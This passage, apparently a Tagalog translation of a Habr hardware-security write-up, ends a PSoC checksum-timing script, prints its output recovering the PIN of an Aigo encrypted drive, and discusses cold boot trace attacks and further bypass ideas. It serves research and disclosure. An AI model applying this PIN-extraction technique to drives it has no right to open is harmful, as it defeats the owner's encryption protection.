  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Narito ang resulta ng pagpapatupad nito:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Hooray! Gumagana!

Pakitandaan na ang mga halaga ng latency na ginamit ko ay malamang na may kaugnayan sa isang partikular na PSoC - ang ginamit ko.

8. Ano ang susunod?

Kaya, buod tayo sa panig ng PSoC, sa konteksto ng aming Aigo drive:

  • mababasa natin ang SRAM kahit na ito ay read protected;
  • Maaari naming i-bypass ang anti-swipe na proteksyon sa pamamagitan ng paggamit ng cold boot trace attack at direktang pagbabasa ng PIN code.

Gayunpaman, ang aming pag-atake ay may ilang mga bahid dahil sa mga problema sa pag-synchronize. Maaari itong mapabuti tulad ng sumusunod:

  • magsulat ng isang utility upang wastong ma-decode ang output data na nakuha bilang isang resulta ng isang "cold boot trace" na pag-atake;
  • gumamit ng FPGA gadget upang lumikha ng mas tumpak na mga pagkaantala sa oras (o gumamit ng mga timer ng hardware ng Arduino);
  • subukan ang isa pang pag-atake: maglagay ng sadyang hindi tamang PIN code, i-reboot at i-dump ang RAM, umaasa na ang tamang PIN code ay mase-save sa RAM para sa paghahambing. Gayunpaman, hindi ito napakadaling gawin sa Arduino, dahil ang antas ng signal ng Arduino ay 5 volts, habang ang board na aming sinusuri ay gumagana sa 3,3 volt signal.

Ang isang kawili-wiling bagay na maaaring subukan ay ang paglalaro sa antas ng boltahe upang laktawan ang proteksyon sa pagbasa. Kung gumana ang diskarteng ito, makakakuha tayo ng ganap na tumpak na data mula sa flash drive - sa halip na umasa sa pagbabasa ng checksum na may hindi tumpak na mga pagkaantala sa oras.

Dahil malamang na binabasa ng SROM ang guard bits sa pamamagitan ng ReadBlock system call, magagawa natin ang parehong bagay tulad ng inilarawan sa blog ni Dmitry Nedospasov - isang muling pagpapatupad ng pag-atake ni Chris Gerlinski, na inihayag sa kumperensya "REcon Brussels 2017".

Ang isa pang nakakatuwang bagay na maaaring gawin ay ang paggiling sa case mula sa chip: kumuha ng SRAM dump, tukuyin ang mga undocumented system call at mga kahinaan.

9. Konklusyon

Kaya, ang proteksyon ng drive na ito ay nag-iiwan ng maraming nais, dahil gumagamit ito ng isang regular (hindi "pinatigas") microcontroller upang iimbak ang PIN code... Dagdag pa, hindi ko pa tinitingnan (pa) kung paano nangyayari ang mga bagay sa data encryption sa device na ito!

Ano ang mairerekomenda mo kay Aigo? Matapos suriin ang ilang mga modelo ng mga naka-encrypt na HDD drive, noong 2015 ginawa ko pagtatanghal sa SyScan, kung saan sinuri niya ang mga problema sa seguridad ng ilang panlabas na HDD drive, at gumawa ng mga rekomendasyon sa kung ano ang maaaring mapabuti sa mga ito. πŸ™‚

Ginugol ko ang dalawang katapusan ng linggo at ilang gabi sa paggawa ng pananaliksik na ito. Sa kabuuan ay humigit-kumulang 40 oras. Nagbibilang mula sa simula (nang binuksan ko ang disk) hanggang sa dulo (PIN code dump). Kasama sa parehong 40 oras ang oras na ginugol ko sa pagsusulat ng artikulong ito. Ito ay isang napaka-kapana-panabik na paglalakbay.

Pinagmulan: www.habr.com

Magdagdag ng komento